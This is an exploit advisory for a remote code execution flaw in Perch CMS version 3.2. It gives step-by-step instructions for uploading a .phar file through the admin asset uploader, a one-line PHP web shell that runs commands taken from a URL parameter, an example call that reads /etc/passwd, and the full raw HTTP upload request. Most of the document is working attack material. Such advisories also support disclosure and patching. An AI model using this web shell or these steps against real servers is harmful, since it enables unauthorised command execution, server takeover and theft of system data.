Perch 3.2 Remote Code Execution

Exploit Title: Perch v3.2 - Remote Code Execution (RCE)
Application: Perch Cms
Version: v3.2
Bugs:  RCE
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)
3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)
4. upload poc.phar file

poc.phar file contents :
<?php $a=$_GET['code']; echo system($a);?>

5. visit  http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd


poc request: 

POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1
Host: localhost
Content-Length: 1071
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9
Connection: close

------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="resourceTitle"

test
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image"; filename="poc.phar"
Content-Type: application/octet-stream

<?php $a=$_GET['code']; echo system($a);?>

------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image_field"

1
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image_assetID"


------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="resourceBucket"

admin
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="tags"

test
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="btnsubmit"

Submit
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="formaction"

edit
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="token"

5494af3e8dbe5ac399ca7f12219cfe82
------WebKitFormBoundaryYGoerZn09hHSjd4Z--